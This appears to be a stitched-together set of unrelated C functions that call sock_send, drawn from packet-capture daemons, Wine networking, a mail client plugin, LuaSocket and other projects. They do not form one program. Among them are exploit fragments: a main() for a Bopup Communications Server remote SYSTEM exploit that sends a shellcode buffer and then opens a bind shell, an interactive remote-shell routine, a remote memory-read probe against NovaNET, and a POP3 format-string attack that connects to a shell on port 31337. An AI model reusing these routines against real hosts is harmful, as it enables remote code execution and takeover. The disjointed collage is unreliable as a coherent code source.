int daemon_getstats(pcap_t *fp) { char sendbuf[RPCAP_NETBUF_SIZE]; // temporary buffer in which data to be sent is buffered int sendbufidx= 0; // index which keeps the number of bytes currently buffered struct pcap_stat stats; // local statistics struct rpcap_stats *netstats; // statistics sent on the network if ( sock_bufferize(NULL, sizeof(struct rpcap_header), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, fp->errbuf) == -1) goto error; rpcap_createhdr( (struct rpcap_header *) sendbuf, RPCAP_MSG_STATS_REPLY, 0, (uint16) sizeof(struct rpcap_stats)); netstats= (struct rpcap_stats *) &sendbuf[sendbufidx]; if ( sock_bufferize(NULL, sizeof(struct rpcap_stats), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, fp->errbuf) == -1) goto error; if (pcap_stats(fp, &stats) ) goto error; netstats->ifdrop= htonl(stats.ps_ifdrop); netstats->ifrecv= htonl(stats.ps_recv); netstats->krnldrop= htonl(stats.ps_drop); netstats->svrcapt= htonl(fp->md.TotCapt); // Send the packet if ( sock_send(fp->rmt_sockctrl, sendbuf, sendbufidx, fp->errbuf) == -1) goto error; return 0; error: rpcap_senderror(fp->rmt_sockctrl, fp->errbuf, PCAP_ERR_GETSTATS, fakeerrbuf); return -1; }
int daemon_updatefilter(pcap_t *fp, uint32 plen) { struct rpcap_header header; // keeps the answer to the updatefilter command unsigned int nread; if ( daemon_unpackapplyfilter(fp, &nread, &plen, fp->errbuf) ) goto error; // Check if all the data has been read; if not, discard the data in excess if (nread != plen) { if (sock_discard(fp->rmt_sockctrl, plen - nread, fakeerrbuf) ) { nread= plen; // just to avoid to call discard again in the 'error' section goto error; } } // A response is needed, otherwise the other host does not know that everything went well rpcap_createhdr( &header, RPCAP_MSG_UPDATEFILTER_REPLY, 0, 0); if ( sock_send(fp->rmt_sockctrl, (char *) &header, sizeof (struct rpcap_header), fp->errbuf) ) goto error; return 0; error: if (nread != plen) sock_discard(fp->rmt_sockctrl, plen - nread, fakeerrbuf); rpcap_senderror(fp->rmt_sockctrl, fp->errbuf, PCAP_ERR_UPDATEFILTER, fakeerrbuf); return -1; }
static BOOL send_ssl_chunk(netconn_t *conn, const void *msg, size_t size) { SecBuffer bufs[4] = { {conn->ssl_sizes.cbHeader, SECBUFFER_STREAM_HEADER, conn->ssl_buf}, {size, SECBUFFER_DATA, conn->ssl_buf+conn->ssl_sizes.cbHeader}, {conn->ssl_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, conn->ssl_buf+conn->ssl_sizes.cbHeader+size}, {0, SECBUFFER_EMPTY, NULL} }; SecBufferDesc buf_desc = {SECBUFFER_VERSION, sizeof(bufs)/sizeof(*bufs), bufs}; SECURITY_STATUS res; memcpy(bufs[1].pvBuffer, msg, size); res = EncryptMessage(&conn->ssl_ctx, 0, &buf_desc, 0); if(res != SEC_E_OK) { WARN("EncryptMessage failed\n"); return FALSE; } if(sock_send(conn->socket, conn->ssl_buf, bufs[0].cbBuffer+bufs[1].cbBuffer+bufs[2].cbBuffer, 0) < 1) { WARN("send failed\n"); return FALSE; } return TRUE; }
int daemon_endcapture(pcap_t *fp, pthread_t *threaddata, char *errbuf) { struct rpcap_header header; SOCKET sockctrl; if (threaddata) { pthread_cancel(*threaddata); threaddata= 0; } if (fp->rmt_sockdata) { sock_close(fp->rmt_sockdata, NULL, 0); fp->rmt_sockdata= 0; } sockctrl= fp->rmt_sockctrl; pcap_close(fp); fp= NULL; rpcap_createhdr( &header, RPCAP_MSG_ENDCAP_REPLY, 0, 0); if ( sock_send(sockctrl, (char *) &header, sizeof(struct rpcap_header), errbuf, PCAP_ERRBUF_SIZE) == -1) return -1; return 0; }
static void received_contacts_request(gint fd) { g_print("Sending contacts\n"); addrindex_load_person_ds(addrbook_entry_send); sock_send(answer_sock, ":done:\n"); g_print("Sending of contacts done: %d\n", g_hash_table_size(contact_hash)); }
static void received_events_request(gint fd) { g_print("Sending events\n"); vcal_foreach_event(event_send_cb); sock_send(fd, ":done:\n"); g_print("Sending of events done\n"); }
int daemon_getstatsnopcap(SOCKET sockctrl, unsigned int ifdrops, unsigned int ifrecv, unsigned int krnldrop, unsigned int svrcapt, char *errbuf) { char sendbuf[RPCAP_NETBUF_SIZE]; // temporary buffer in which data to be sent is buffered int sendbufidx= 0; // index which keeps the number of bytes currently buffered struct rpcap_stats *netstats; // statistics sent on the network if ( sock_bufferize(NULL, sizeof(struct rpcap_header), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; rpcap_createhdr( (struct rpcap_header *) sendbuf, RPCAP_MSG_STATS_REPLY, 0, (uint16) sizeof(struct rpcap_stats)); netstats= (struct rpcap_stats *) &sendbuf[sendbufidx]; if ( sock_bufferize(NULL, sizeof(struct rpcap_stats), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; netstats->ifdrop= htonl(ifdrops); netstats->ifrecv= htonl(ifrecv); netstats->krnldrop= htonl(krnldrop); netstats->svrcapt= htonl(svrcapt); // Send the packet if ( sock_send(sockctrl, sendbuf, sendbufidx, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; return 0; error: rpcap_senderror(sockctrl, errbuf, PCAP_ERR_GETSTATS, NULL); return -1; }
// 参考sock_recv // 我们认为,所有的pending队列都在sock_send里面设置 // sock_send_all不设置任何的sock的pengding队列 // XXX: // 如果第一次sock_send_all分多次send // 任何一次send失败,都当做失败 ssize_t sock_send_all(int fd, char *buf, size_t size) { coro_sock *sock = find_sock_by_fd(fd); if ( !sock ) { return -1; } ssize_t cnt = 0; ssize_t status = 0; uthread_t cur = coro_current_uthread(); while ( (size_t)cnt < size ) { if ( status < 0 ) { cnt = -1; break; } ssize_t send_cnt = sock_send(sock->sock, buf + cnt, size); // 如果某次send_all过程中出错,认定为全部send失败 if ( send_cnt < 0 ) { return -1; } cnt += send_cnt; if ( (size_t)cnt < size ) { set_pending_status(sock, set_wait_write_status, cur, set_wait_write_status); status = coro_schedule_uthread(cur, 0); } } clear_pending_status(sock, cur); return cnt; }
BOOL netconn_send( netconn_t *conn, const void *msg, size_t len, int *sent ) { if (conn->secure) { const BYTE *ptr = msg; size_t chunk_size; *sent = 0; while(len) { chunk_size = min(len, conn->ssl_sizes.cbMaximumMessage); if(!send_ssl_chunk(conn, ptr, chunk_size)) return FALSE; *sent += chunk_size; ptr += chunk_size; len -= chunk_size; } return TRUE; } if ((*sent = sock_send( conn->socket, msg, len, 0 )) == -1) { set_last_error( sock_get_error( errno ) ); return FALSE; } return TRUE; }
/* * This function sends a RPCAP error to our peer. * * It has to be called when the main program detects an error. * It will send to our peer the 'buffer' specified by the user. * This function *does not* request a RPCAP CLOSE connection. A CLOSE * command must be sent explicitly by the program, since we do not know * whether the error can be recovered in some way or if it is a * non-recoverable one. * * \param sock: the socket we are currently using. * * \param ver: the protocol version we want to put in the reply. * * \param errcode: a integer which tells the other party the type of error * we had. * * \param error: an user-allocated (and '0' terminated) buffer that contains * the error description that has to be transmitted to our peer. The * error message cannot be longer than PCAP_ERRBUF_SIZE. * * \param errbuf: a pointer to a user-allocated buffer (of size * PCAP_ERRBUF_SIZE) that will contain the error message (in case there * is one). It could be network problem. * * \return '0' if everything is fine, '-1' if some errors occurred. The * error message is returned in the 'errbuf' variable. */ int rpcap_senderror(SOCKET sock, uint8 ver, unsigned short errcode, const char *error, char *errbuf) { char sendbuf[RPCAP_NETBUF_SIZE]; /* temporary buffer in which data to be sent is buffered */ int sendbufidx = 0; /* index which keeps the number of bytes currently buffered */ uint16 length; length = (uint16)strlen(error); if (length > PCAP_ERRBUF_SIZE) length = PCAP_ERRBUF_SIZE; rpcap_createhdr((struct rpcap_header *) sendbuf, ver, RPCAP_MSG_ERROR, errcode, length); if (sock_bufferize(NULL, sizeof(struct rpcap_header), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errbuf, PCAP_ERRBUF_SIZE)) return -1; if (sock_bufferize(error, length, sendbuf, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_BUFFERIZE, errbuf, PCAP_ERRBUF_SIZE)) return -1; if (sock_send(sock, sendbuf, sendbufidx, errbuf, PCAP_ERRBUF_SIZE) < 0) return -1; return 0; }
errno_t xi_sock_send(xi_socket_t so, void *buf, size_t *len, int flags) { #ifdef __KPI_SOCKET__ struct iovec aio; struct msghdr msg; size_t sentLen = *len; errno_t error; aio.iov_base = buf; aio.iov_len = sentLen; bzero(&msg, sizeof(msg)); msg.msg_iov = (struct iovec *) &aio; msg.msg_iovlen = 1; error = sock_send(so, &msg, flags, &sentLen); #if 1 if(error) DebugPrint(1, false, "xi_sock_send: so = %p, buf_len = %d error = %d\n", so, (int)*len, error); #endif /* if 0 */ *len = sentLen; return error; #else struct iovec aiov; struct uio auio = { 0 }; register struct proc *p = current_proc(); register int error = 0; aiov.iov_base = buf; aiov.iov_len = *len; auio.uio_iov = &aiov; auio.uio_iovcnt = 1; auio.uio_segflg = UIO_SYSSPACE; auio.uio_rw = UIO_WRITE; auio.uio_procp = p; auio.uio_offset = 0; /* XXX */ auio.uio_resid = *len; // IOLog("Before: so = %p, buf_len = %d, aiov.iov_len = %d, error = %d, auio.uio_resid = %d\n", so, (int)len, (int)aiov.iov_len, error,auio.uio_resid); thread_funnel_set(network_flock, TRUE); error = sosend(so, NULL, &auio, NULL, 0, flags); (void) thread_funnel_set(network_flock, FALSE); #if 0 if(error) IOLog("After: so = %p, buf_len = %d, aiov.iov_len = %d, error = %d, auio.uio_resid = %d\n", so, (int)*len, (int)aiov.iov_len, error, auio.uio_resid); #endif /* if 0 */ *len = *len - auio.uio_resid; return error; #endif }
static int novanet_read (char *host, void *start, void *dst) { fd_set r_fds; struct timeval tv; int fd, n; char buf[NOVANET_PKT_SZ], rbuf[NOVANET_PKT_SZ]; novanet_read_pkt_init (buf); start = (void *) NOVANET_CALC_INT (start); fd = sockami (host, NOVANET_TCP_PORT); if (fd == -1) { fprintf (stderr, "novanet_read: sockami failed\n"); exit (EXIT_FAILURE); } NOVANET_SET_INT (buf, (unsigned int) start); if ((n = sock_send (fd, buf, sizeof buf)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_read: sock_send returned %d (!= %d)\n", n, NOVANET_PKT_SZ); return (0); } FD_ZERO (&r_fds); FD_SET (fd, &r_fds); tv.tv_sec = 4; /* wait 4 seconds */ tv.tv_usec = 0; n = select (fd + 1, &r_fds, NULL, NULL, &tv); if (n == -1) { fprintf (stderr, "novanet_read: select() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } else if (n) { if ((n = sock_recv (fd, rbuf, sizeof rbuf)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_read: sock_recv returned %d (!= %d)\n", n, NOVANET_PKT_SZ); return (0); } } else { fprintf (stderr, "novanet_read: select timeout, we may have crashed NovaNET :(\n"); exit (EXIT_FAILURE); } memcpy (dst, &rbuf[NOVANET_INT_IDX], sizeof (void *)); usleep (USLEEP_TIME); close (fd); return (1); }
static void _assert_(int a) { #define __MSG "ASSERT!!!" if (!a) { sock_send(_s,(unsigned char*)__MSG, sizeof(__MSG)); assert(0); } #undef __MSG }
static void ping_server(server_t *server) { sock_connect(&server->sock, server->address, server->port); msg_t *msg = sock_init_send(&server->sock, qfalse); write_string(msg, "info %d full empty", PROTOCOL); sock_send(&server->sock); server->ping_start = millis(); server->ping_retries--; }
void Client(char *Address, char *Port, int AddressFamily, int TransportProtocol) { char ErrBuf[1024]; char DataBuffer[1024]; int ClientSocket; // keeps the socket ID for this connection struct addrinfo Hints; // temporary struct to keep settings needed to open the new socket struct addrinfo *AddrInfo; // keeps the addrinfo chain; required to open a new socket int WrittenBytes; // Number of bytes written on the socket // Prepare to open a new server socket memset(&Hints, 0, sizeof(struct addrinfo)); Hints.ai_family= AddressFamily; Hints.ai_socktype= TransportProtocol; // Open a TCP or UDP connection if (sock_initaddress (Address, Port, &Hints, &AddrInfo, ErrBuf, sizeof(ErrBuf)) == sockFAILURE) { printf("Error resolving given address/port: %s\n\n", ErrBuf); return; } printf("Trying to connect to server on address %s, port %s, using protocol %s\n", Address ? Address : "all local addresses", Port, (AddrInfo->ai_family == AF_INET) ? "IPv4" : "IPv6"); if ( (ClientSocket= sock_open(AddrInfo, 0, 0, ErrBuf, sizeof(ErrBuf))) == sockFAILURE) { // AddrInfo is no longer required sock_freeaddrinfo(AddrInfo); printf("Cannot opening the socket: %s\n\n", ErrBuf); return; } // AddrInfo is no longer required sock_freeaddrinfo(AddrInfo); printf("Connection established.\n"); printf("Type the string you want to send to the server: "); // Warning: possible buffer overflow here fgets(DataBuffer, sizeof(DataBuffer), stdin); // fgets reads also the newline character, so we have to reset it DataBuffer[strlen(DataBuffer) - 1]= 0; printf("\n\n"); WrittenBytes= sock_send(ClientSocket, DataBuffer, strlen(DataBuffer), ErrBuf, sizeof(ErrBuf)); if (WrittenBytes == sockFAILURE) { printf("Error sending data: %s\n\n", ErrBuf); return; } printf("String '%s' sent. Press ENTER to terminate the program\n", DataBuffer); fgets(DataBuffer, sizeof(DataBuffer), stdin); }
int sc_send(char *buf, int buf_len) { int ret; ret = sock_send(&stream_socket, buf, buf_len, SEND_TIMEOUT); if(ret == SOCK_TIMEOUT) ret = -1; return ret; }
static void shellami (int fd) { int n; fd_set rset; char rbuf[1024], *cmd = "id; uname -a; uptime\n"; sock_send (fd, cmd, strlen (cmd)); while (1) { FD_ZERO (&rset); FD_SET (fd, &rset); FD_SET (STDIN_FILENO, &rset); if (select (fd + 1, &rset, NULL, NULL, NULL) < 0) { fprintf (stderr, "shellami: select() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } if (FD_ISSET (fd, &rset)) { if ((n = sock_recv (fd, rbuf, sizeof (rbuf) - 1)) <= 0) { fprintf (stderr, "shellami: connection closed by foreign host.\n"); exit (EXIT_SUCCESS); } rbuf[n] = '\0'; printf ("%s", rbuf); fflush (stdout); } if (FD_ISSET (STDIN_FILENO, &rset)) { if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0) { rbuf[n] = '\0'; sock_send (fd, rbuf, n); } } } }
/* return >0 ok */ int send_resp(int socket,const char *code,char *msg,int seqnum,char *type) { int ret = 0; char strnum[32] = {0}; sprintf(strnum,"%d",seqnum); char *ptr = create_json_msg_rsp(code,msg,strnum,type); ret = sock_send(socket,ptr,strlen(ptr)); free(ptr); return ret; }
int sock_cmd(int sock, char *fmt, ... ) { char buf[1024]; va_list va; va_start( va, fmt ); vsnprintf(buf, sizeof(buf) - 1 , fmt, va ); va_end( va ); strcat(buf, "\r\n"); return sock_send(sock, buf, strlen(buf)); }
int client_send_tcp_data_back(client_t *client,char *data,int len) { int ret ; ret = sock_send(client->tcp_sock,data,len); if(ret < 0) return -1; else if(ret == 0) return -2; else return 0; }
/* * Send data received from UDP tunnel to TCP connection. Need to call * client_got_udp_data() first. Returns -1 on general error, -2 if need to * disconnect, and 0 on success. */ int client_send_tcp_data(client_t* client) { int ret; ret = sock_send(client->tcp_sock, client->udp2tcp, client->udp2tcp_len); if(ret < 0) return -1; else if(ret == 0) return -2; else return 0; }
int main (int argc, char **argv) { char zbuf[BUF_SIZE]; int fd, n; printf ("Bopup Communications Server remote SYSTEM exploit\n" "by: <*****@*****.**>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); if (argc <= 1) { fprintf (stderr, "Usage: %s <host>\n", argv[0]); exit (EXIT_SUCCESS); } fd = sockami (argv[1], PORT_BOPUP); if (fd == -1) { fprintf (stderr, "%s: sockami failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("* connected to %s:%d\n\n", argv[1], PORT_BOPUP); printf ("** SEH offset @+%04X\n", BOPUP_STR_OFFSET + BOPUP_STR_LEN - 8); printf ("** return addy @0x%08X\n\n", BOPUP_POPRET); printf ("* building buffer with shellcode..."); zbuffami (zbuf); printf ("done\n"); printf ("* sending request..."); if ((n = sock_send (fd, zbuf, BOPUP_STR_OFFSET + BOPUP_STR_LEN)) != BOPUP_STR_OFFSET + BOPUP_STR_LEN) { fprintf (stderr, "%s: sock_send returned %d (!= %d)\n", argv[0], n, BOPUP_STR_OFFSET + BOPUP_STR_LEN); exit (EXIT_FAILURE); } printf ("done\n"); close (fd); printf ("* waiting for the shellcode to be executed...\n"); sleep (2); if ((fd = sockami (argv[1], PORT_SHELL)) != -1) { printf ("+Wh00t!\n\n"); shellami (fd); } return (EXIT_SUCCESS); }
// send the GOODBYE command to the server. Return 0 if the socket is still valid. Return -1 if the // socket closed or there was an error while sending. int sendGoodbye(int handle) { // the command will be generated and placed in a buffer. 1024 bytes is PLENTY for this // command... but just showing that the buffer doesn't need to be the exact size, just as long // as it is big enough. char buffer[1024]; risp_length_t len = risp_addbuf_noparam(buffer, CMD_GOODBYE); assert(len > 0); // now that the we have the RISP stream created for the command, we need to send it. return(sock_send(handle, buffer, len)); }
static gint addrbook_entry_send(ItemPerson *itemperson, AddressDataSource *ds) { gchar *vcard; ContactHashVal *val; vcard = vcard_get_from_ItemPerson(itemperson); sock_send(answer_sock, ":start_contact:\n"); sock_send(answer_sock, vcard); sock_send(answer_sock, ":end_contact:\n"); g_free(vcard); /* Remember contacts for easier changing */ if (!contact_hash) contact_hash = g_hash_table_new_full(g_str_hash, g_str_equal, g_free, g_free); val = g_new0(ContactHashVal,1); val->person = itemperson; val->ds = ds; g_hash_table_insert(contact_hash, g_strdup(ADDRITEM_ID(itemperson)), val); return 0; }
int sc_update_song() { int ret; int web_socket; char send_buf[1024]; char *song_buf; web_socket = sock_connect(cfg.srv[cfg.selected_srv]->addr, cfg.srv[cfg.selected_srv]->port, CONN_TIMEOUT); if(web_socket < 0) { switch(web_socket) { case SOCK_ERR_CREATE: print_info("\nupdate_song: could not create network socket", 1); ret = 1; break; case SOCK_ERR_RESOLVE: print_info("\nupdate_song: error resolving server address", 1); ret = 1; break; case SOCK_TIMEOUT: case SOCK_INVALID: ret = 1; break; default: ret = 1; } return ret; } song_buf = strdup(cfg.main.song); strrpl(&song_buf, " ", "%20"); strrpl(&song_buf, "&", "%26"); snprintf(send_buf, 500, "GET /admin.cgi?pass=%s&mode=updinfo&song=%s&url= HTTP/1.0\n" "User-Agent: ShoutcastDSP (Mozilla Compatible)\n\n", cfg.srv[cfg.selected_srv]->pwd, song_buf ); sock_send(&web_socket, send_buf, strlen(send_buf), SEND_TIMEOUT); close(web_socket); free(song_buf); return 0; }
static void formatme (u_char * host){ /* do the evil */ int sock; printf ("+Connecting to %s:%d ", host, PORT_POP3); sock = sockami (host, PORT_POP3); printf ("\n+Sending format string\n"); sock_send (sock, formatString, strlen (formatString)); fflush (stdout); sleep(2); printf ("+Connecting to Shell "); sock = sockami (host, 31337); printf ("- Done\n"); shell(sock); }
// attempt to send a request, return zero if successful. // If the send fails, then close the socket and return a non-zero.. int sendMessageRequest(int handle, risp_int_t msg_id) { assert(msg_id > 0); assert(handle >= 0); // the command will be generated and placed in a buffer. 1024 bytes is PLENTY for this // command... char buffer[1024]; risp_length_t len = risp_addbuf_int(buffer, CMD_SEND_MSG, msg_id); assert(len > 0); // now that the we have the RISP stream created for the command, we need to send it. return(sock_send(handle, buffer, len)); }
static void received_contact_delete_request(gint fd) { gchar buf[BUFFSIZE]; gboolean delete_successful= FALSE; if (fd_gets(fd, buf, sizeof(buf)) != -1) { gchar *id; ContactHashVal *hash_val; id = g_strchomp(buf); hash_val = g_hash_table_lookup(contact_hash, id); if (hash_val) { AlertValue val; val = G_ALERTALTERNATE; if(opensync_config.contact_ask_delete) { gchar *msg; msg = g_strdup_printf(_("Really delete contact for '%s'?"), ADDRITEM_NAME(hash_val->person)); val = alertpanel(_("OpenSync plugin"),msg, GTK_STOCK_CANCEL,GTK_STOCK_DELETE,NULL); g_free(msg); } if(((!opensync_config.contact_ask_delete) || (val != G_ALERTDEFAULT)) && (addrduplicates_delete_item_person(hash_val->person,hash_val->ds))) { g_print("Deleted id: '%s'\n", id); delete_successful = TRUE; } } } if(delete_successful) { sock_send(fd, ":ok:\n"); } else { sock_send(fd, ":failure:\n"); } }
void sock_printf (int socket, const char* format, ...) { va_list list; va_start (list, format); char buffer [256]; _vsnprintf (buffer, sizeof (buffer), format, list); buffer [255] = '\0'; size_t length = strlen (buffer); sock_send (socket, buffer, length); }
/*-------------------------------------------------------------------------*\ * Send data through connected udp socket \*-------------------------------------------------------------------------*/ static int meth_send(lua_State *L) { p_udp udp = (p_udp) aux_checkclass(L, "udp{connected}", 1); p_tm tm = &udp->tm; size_t count, sent = 0; int err; const char *data = luaL_checklstring(L, 2, &count); tm_markstart(tm); err = sock_send(&udp->sock, data, count, &sent, tm); if (err != IO_DONE) { lua_pushnil(L); lua_pushstring(L, udp_strerror(err)); return 2; } lua_pushnumber(L, sent); return 1; }